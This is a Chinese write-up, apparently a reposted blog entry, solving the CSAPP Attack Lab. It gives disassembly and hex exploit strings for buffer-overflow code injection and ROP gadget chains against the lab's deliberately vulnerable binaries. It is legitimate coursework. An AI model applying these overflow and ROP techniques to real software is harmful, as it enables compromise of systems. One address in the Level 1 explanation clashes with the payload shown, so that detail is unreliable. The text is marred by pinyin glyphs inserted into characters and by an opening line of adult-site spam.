日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

《深入理解計(jì)算機(jī)系統(tǒng)》(CSAPP)實(shí)驗(yàn)四 —— Attack Lab

 小樣樣樣樣樣樣 2022-05-16 發(fā)布于北京

這是CSAPP的第四個(gè)實(shí)驗(yàn),這個(gè)實(shí)驗(yàn)比較有意思,也比較難。通過(guò)這個(gè)實(shí)驗(yàn)我們可以更加熟悉GDB的使用和機(jī)器代碼的棧和參數(shù)傳遞機(jī)制。

@

面試官不講武德,居然讓我講講蠕蟲(chóng)和金絲雀!,理解緩沖區(qū)溢出時(shí)函數(shù)的返回值是如何被修改和精準(zhǔn)定位的。

準(zhǔn)備工作

??在官網(wǎng)下載得到實(shí)驗(yàn)所需文件解壓后會(huì)得到五個(gè)不同的文件。對(duì)六個(gè)文件簡(jiǎn)要說(shuō)明如下所示。

??README.txt:描述文件夾目錄

??ctarget:一個(gè)容易遭受code injection攻擊的可執(zhí)行程序。

??rtarget:一個(gè)容易遭受return-oriented programming攻擊的可執(zhí)行程序。

??cookie.txt一個(gè)8位的十六進(jìn)制碼,用于驗(yàn)證身份的唯一標(biāo)識(shí)符。

??farm.c:目標(biāo)“gadget farm”的源代碼,用于產(chǎn)生return-oriented programming攻擊。

??hex2raw:一個(gè)生成攻擊字符串的工具。

HEX2RAW期望由一個(gè)或多個(gè)空格分隔的兩位十六進(jìn)制值。所以如果你想創(chuàng)建一個(gè)十六進(jìn)制值為0的字節(jié),需要將其寫(xiě)為00。要?jiǎng)?chuàng)建單詞0xdeadbeef應(yīng)將“ ef be ad de”傳遞給HEX2RAW(請(qǐng)注意,小字節(jié)序需要反轉(zhuǎn))。

??編譯環(huán)境:Ubuntu 16.04,gcc 5.4.0。

??注意:由于我們使用的是外網(wǎng)編譯,所以在運(yùn)行程序時(shí)加上-q參數(shù)。

內(nèi)容簡(jiǎn)介

CTARGET和RTARGET從標(biāo)準(zhǔn)輸入中讀取字符串,使用的getbuf函數(shù)如下所示。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

??函數(shù)Gets()類(lèi)似于標(biāo)準(zhǔn)庫(kù)函數(shù)gets(),從標(biāo)準(zhǔn)輸入讀入一個(gè)字符串,將字符串(帶null結(jié)束符)存儲(chǔ)在指定的目的地址。二者都只會(huì)簡(jiǎn)單地拷貝字節(jié)序列,無(wú)法確定目標(biāo)緩沖區(qū)是否足夠大以存儲(chǔ)下讀入的字符串,因此可能會(huì)超出目標(biāo)地址處分配的存儲(chǔ)空間。字符串不能包含字節(jié)值0x0a,這是換行符 \n 的ASCII碼,Gets()遇到這個(gè)字節(jié)時(shí)會(huì)認(rèn)為意在結(jié)束該字符串。

??如果用戶輸入并由getbuf讀取的字符串足夠短,則很明顯getbuf將返回1,如以下執(zhí)行示例所示:

image-20201118164523691

??當(dāng)輸入一個(gè)很長(zhǎng)的字符串時(shí),將會(huì)出現(xiàn)段錯(cuò)誤,具體如下圖所示:

image-20201118164726239

??如上圖所示,出現(xiàn)了緩沖區(qū)溢出錯(cuò)誤。我們可以利用緩沖區(qū)溢出來(lái)修改程序的返回值,使它指向我們要求的地址來(lái)完成攻擊。

CTARGET和RTARGET都采用幾個(gè)不同的命令行參數(shù):

-h:打印可能的命令行參數(shù)列表

-q:本地測(cè)評(píng),不要將結(jié)果發(fā)送到評(píng)分服務(wù)器

-i FILE:提供來(lái)自文件的輸入,而不是來(lái)自標(biāo)準(zhǔn)輸入的輸入

代碼注入攻擊

Level 1

??對(duì)于第1個(gè)例程,將不會(huì)注入新代碼,而是緩沖區(qū)溢出漏洞利用字符串將重定向程序來(lái)執(zhí)行現(xiàn)有程序。在CTARGET文件中中調(diào)用了函數(shù)getbuf。當(dāng)getbuf執(zhí)行完return語(yǔ)句后,程序通常會(huì)接著向下執(zhí)行第5行的內(nèi)容。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

??如果我們想改變這種行為。在文件ctarget中,我們要把getbuf函數(shù)的返回值指向函數(shù)touch1,touch1代碼如下所示:

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

??執(zhí)行 objdump -d rtarget > rtarget.d 命令,將rtarget反匯編看下getbuf和touch1的反匯編代碼。

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp                      # 開(kāi)辟40字節(jié)的空間
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 ac 03 00 00       	callq  401b60 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq                                   # 正常返回,跳轉(zhuǎn)到test函數(shù)的第5行繼續(xù)執(zhí)行
  4017be:	90                   	nop
  4017bf:	90                   	nop
00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 3d 20 00 01 	movl   $0x1,0x203d0e(%rip)        # 6054dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf e5 31 40 00       	mov    $0x4031e5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 cb 05 00 00       	callq  401dad <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

??由上述反匯編代碼可以知道,我們只要修改getbuf結(jié)尾處的ret指令,將其指向touch1函數(shù)的起始地址40183b就可以。要想將其準(zhǔn)確指向40183b,要首先將getbuf的40字節(jié)內(nèi)容填充滿,使其溢出,再將40183b覆蓋getbuf原來(lái)的返回地址即可。(這里不明白的可以看下文章面試官不講武德,居然讓我講講蠕蟲(chóng)和金絲雀!

??攻擊字符串如下所示,命名為attack1.txt。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00  

執(zhí)行以下指令進(jìn)行測(cè)試

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

image-20201118174203347

Level 2

??第2階段涉及注入少量代碼作為攻擊字符串的一部分。在文件ctarget中,touch2的代碼如下所示:

void touch2(unsigned val)
{
	vlevel = 2; 	/* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
 	}
	 exit(0);
}

??反匯編如下所示:

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx                  # val存在%rdi中
  4017f2:	c7 05 e0 3c 20 00 02 	movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 3c 20 00    	cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be 08 32 40 00       	mov    $0x403208,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 8b 05 00 00       	callq  401dad <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 30 32 40 00       	mov    $0x403230,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 2d 06 00 00       	callq  401e6f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

??Level 2 和 Level 1 差別主要在Level 2 多了一個(gè)val參數(shù),我們?cè)谔D(zhuǎn)到Level 2 時(shí),還要將其參數(shù)傳遞過(guò)去,讓他認(rèn)為是自己的cookie 0x59b997fa。

??因此,我們首先要將0x59b997fa賦值給%rdi,完成參數(shù)的傳遞。如何完成程序的跳轉(zhuǎn)呢?在第一次ret的時(shí)候,將ret地址寫(xiě)為我們寫(xiě)好的攻擊代碼,在攻擊代碼中,將touch2的地址0x4017ec 壓棧,匯編代碼再ret到touch2。我們能完成這個(gè)攻擊的前提是這個(gè)具有漏洞的程序在運(yùn)行時(shí)的棧地址是固定的,不會(huì)因運(yùn)行多次而改變,并且這個(gè)程序允許執(zhí)行棧中的代碼。匯編代碼如下所示:

mov    $0x59b997fa,%rdi
pushq  $0x4017ec              #壓棧,ret時(shí)會(huì)將0x4017ec彈出執(zhí)行
ret

??使用如下指令將匯編代碼反匯編

gcc -c attack2.s
objdump -d attack2.o > attack2.d

??反匯編代碼如下所示:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

??內(nèi)存中存儲(chǔ)這段代碼的地方便是getbuf開(kāi)辟的緩沖區(qū),我們利用gdb查看此時(shí)緩沖區(qū)的起始地址。

image-20201118212308138

??注意:緩沖區(qū)地址為0x5561dca0(棧底),因?yàn)榉峙淞艘粋€(gè)0x28的棧,插入的代碼在字符串首,即棧頂(低地址),所以地址最終要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代碼填充滿整個(gè)緩沖區(qū)(40字節(jié))以致溢出。
78 dc 61 55 00 00 00 00
//用緩沖區(qū)的起始地址覆蓋掉原先的返回地址(注意字節(jié)順序)。

??最終測(cè)試結(jié)果正確

image-20201118213633633

Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    /**/
    sprintf(s, "%.8x", val);         
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

??與之前的類(lèi)似,在getbuf函數(shù)返回的時(shí)候,執(zhí)行touch3而不是test。touch3函數(shù)傳入的是cookie的字符串表示。因此,我們要將%rdi設(shè)置為cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 3b 20 00 03 	movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 3b 20 00    	mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 58 32 40 00       	mov    $0x403258,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 72 04 00 00       	callq  401dad <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 80 32 40 00       	mov    $0x403280,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 11 05 00 00       	callq  401e6f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>

??在touch3中調(diào)用了hexmatch函數(shù),這個(gè)函數(shù)中又開(kāi)辟了110個(gè)字節(jié)的空間。如果我們把cookie放在棧中,執(zhí)行hexmatch函數(shù)可能會(huì)把cookie的數(shù)據(jù)覆蓋掉。我們可以直接通過(guò)植入指令來(lái)修改%rsp棧指針的值。

fa 18 40 00 00 00 00 00  #touch3的地址
bf 90 dc 61 55 48 83 ec  #mov    edi, 0x5561dc90
30 c3 00 00 00 00 00 00  #sub    rsp, 0x30  ret
35 39 62 39 39 37 66 61  #cookie
00 00 00 00 00 00 00 00
80 dc 61 55              #stack top的地址+8

image-20201119092849518

返回導(dǎo)向編程攻擊

??對(duì)程序RTARGET進(jìn)行代碼注入攻擊比對(duì)CTARGET進(jìn)行難度要大得多,因?yàn)樗褂脙煞N技術(shù)來(lái)阻止此類(lèi)攻擊:

??它使用棧隨機(jī)化,以使堆棧位置在一次運(yùn)行與另一次運(yùn)行中不同。這使得不可能確定注入代碼的位置。

??它會(huì)將保存堆棧的內(nèi)存部分標(biāo)記為不可執(zhí)行,因此,即使可以將程序計(jì)數(shù)器設(shè)置為注入代碼的開(kāi)頭,程序也會(huì)因分段錯(cuò)誤而失敗。

image-20201119101626094

??幸運(yùn)的是,聰明的人已經(jīng)設(shè)計(jì)出了通過(guò)執(zhí)行程序來(lái)在程序中完成有用的事情的策略。使用現(xiàn)有代碼,而不是注入新代碼。常用的是ROP策略, ROP的策略是識(shí)別現(xiàn)有程序中的字節(jié)序列,由一個(gè)或多個(gè)指令后跟指令ret組成。這種段稱(chēng)為gadget.。圖2說(shuō)明了如何設(shè)置堆棧以執(zhí)行n個(gè)gadget的序列。在此圖中,堆棧包含一系列g(shù)adget地址。每個(gè)gadget都包含一系列指令字節(jié),其中最后一個(gè)是0xc3,對(duì)ret指令進(jìn)行編碼。當(dāng)程序從該配置開(kāi)始執(zhí)行ret指令時(shí),它將啟動(dòng)一系列g(shù)adget執(zhí)行,其中ret指令位于每個(gè)gadget的末尾,從而導(dǎo)致程序跳至下一個(gè)開(kāi)始。通過(guò)不斷的跳轉(zhuǎn),拼湊出自己想要的結(jié)果來(lái)進(jìn)行攻擊的方式。(簡(jiǎn)單來(lái)說(shuō):就是利用現(xiàn)有程序的匯編代碼,從不同的函數(shù)中挑選出自己想要的代碼,通過(guò)不斷跳轉(zhuǎn)的方式將這些代碼拼接起來(lái)組成我們需要的代碼。)

??下面是實(shí)驗(yàn)手冊(cè)給出的部分指令所對(duì)應(yīng)的字節(jié)碼,我們需要在rtarget文件中挑選這些指令去執(zhí)行之前l(fā)evel2和level3的攻擊。

image-20201119101419358 image-20201119101449467

Level 2

??這個(gè)實(shí)驗(yàn)與之前的Level 2 很相似,所以我們要做的就是將cookie的值賦值給%rdi,執(zhí)行touch2。但是本題使用的是ROP攻擊形式,不可能直接有movq $ 0x59b997fa,%rdi這樣的代碼。Write up提示可以用movq, popq等來(lái)完成這個(gè)任務(wù)。因此我們可以把 $0x59b997fa放在棧中,再popq %rdi,利用popq我們可以把數(shù)據(jù)從棧中轉(zhuǎn)移到寄存器中,而這個(gè)恰好是我們所需要的。代碼有了,那我們就去尋找gadget。

??思路確定了,接下來(lái)只需要根據(jù)Write up提供的encoding table來(lái)查找popq對(duì)應(yīng)encoding是否在程序中出現(xiàn)了。很容易找到popq %rdi對(duì)應(yīng)的編碼5f在這里出現(xiàn),并且下一條就是ret:

402b18:    41 5f                pop    %r15
402b1a:    c3                      retq   

??所以答案就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

??運(yùn)行下結(jié)果如下所示

image-20201119153206287

Level 3

??這個(gè)實(shí)驗(yàn)是在之前Level3的基礎(chǔ)上又增加了一個(gè)難度,具體要求是要用ROP跳轉(zhuǎn)到touch3,并且傳入一個(gè)和cookie一樣的字符串。因?yàn)闂J请S機(jī)化的,那么我們?nèi)绾卧跅5刂冯S機(jī)化的情況下去獲取我們放在棧中的字符串的首地址呢?我們只能通過(guò)操作%rsp的值來(lái)改變位置。在之前的Level 3 實(shí)驗(yàn)中也提到過(guò),touch3函數(shù)會(huì)調(diào)用hexmatch函數(shù),在hexmatch中會(huì)開(kāi)辟110個(gè)字節(jié)的空間,如果字符串放在touch3函數(shù)返回地址的上方,那么cookie一定會(huì)被覆蓋。因此,我們應(yīng)該放在更高一點(diǎn)的位置,即使得hexmatch函數(shù)新開(kāi)辟空間也夠不到cookie字符串。所以,字符串的地址一定是%rsp 加上一個(gè)數(shù)。

??可是WriteUp里給的encoding table都是mov pop nop 雙編碼等指令,并沒(méi)有加法,但是gadget farm中有一條自帶的指令,具體如下所示:

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax          # %rax = %rdi + %rsi
  4019da:	c3                   	retq   

??我們可以通過(guò)這個(gè)函數(shù)來(lái)實(shí)現(xiàn)加法,因?yàn)閘ea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能夠讓%rdi和%rsi其中一個(gè)保存%rsp,另一個(gè)保存從stack中pop出來(lái)的偏移值,就可以表示cookie存放的地址,然后把這個(gè)地址mov到%rdi就大功告成了。

??對(duì)應(yīng)Write up里面的encoding table會(huì)發(fā)現(xiàn),從%rax并不能直接mov到%rsi,而只能通過(guò)%eax->%edx->%ecx->%esi來(lái)完成這個(gè)。所以,兵分兩路:
? ?1.把%rsp存放到%rdi中
??2.把偏移值(需要確定指令數(shù)后才能確定)存放到%rsi中

??然后,再用lea那條指令把這兩個(gè)結(jié)果的和存放到%rax中,再movq到%rdi中就完成了。

??值得注意的是,上面兩路完成任務(wù)的寄存器不能互換,因?yàn)閺?eax到%esi這條路線上面的mov都是4個(gè)byte的操作,如果對(duì)%rsp的值采用這條路線,%rsp的值會(huì)被截?cái)嗟簦詈蟮慕Y(jié)果就錯(cuò)了。但是偏移值不會(huì),因?yàn)?個(gè)bytes足夠表示了。

??最后結(jié)果:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00   #movq %rsp, %rax   
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
ab 19 40 00 00 00 00 00   #popq %rax
48 00 00 00 00 00 00 00   #偏移值
dd 19 40 00 00 00 00 00   #mov %eax, %edx
34 1a 40 00 00 00 00 00   #mov %edx, %ecx
13 1a 40 00 00 00 00 00   #mov %ecx, %esi
d6 19 40 00 00 00 00 00   #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
fa 18 40 00 00 00 00 00   #touch3
35 39 62 39 39 37 66 61   #cookie

參考https://zhuanlan.zhihu.com/p/36807783

??測(cè)試結(jié)果如下:

總結(jié)

??這幾個(gè)實(shí)驗(yàn)挺有意思的,體驗(yàn)了一把黑客的感覺(jué)。最后一個(gè)實(shí)驗(yàn)還是有難度的,自己也參考網(wǎng)上其他人的解法。通過(guò)本次實(shí)驗(yàn)也加強(qiáng)了自己對(duì)函數(shù)調(diào)用棧,字節(jié)序,GDB,匯編的理解。X86有些指令用多了也就記住了,不需要刻意去記,熟能生巧!

??養(yǎng)成習(xí)慣,先贊后看!如果覺(jué)得寫(xiě)的不錯(cuò),歡迎關(guān)注,點(diǎn)贊,轉(zhuǎn)發(fā),謝謝!

有任何問(wèn)題,均可通過(guò)公告中的二維碼聯(lián)系我

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類(lèi)似文章 更多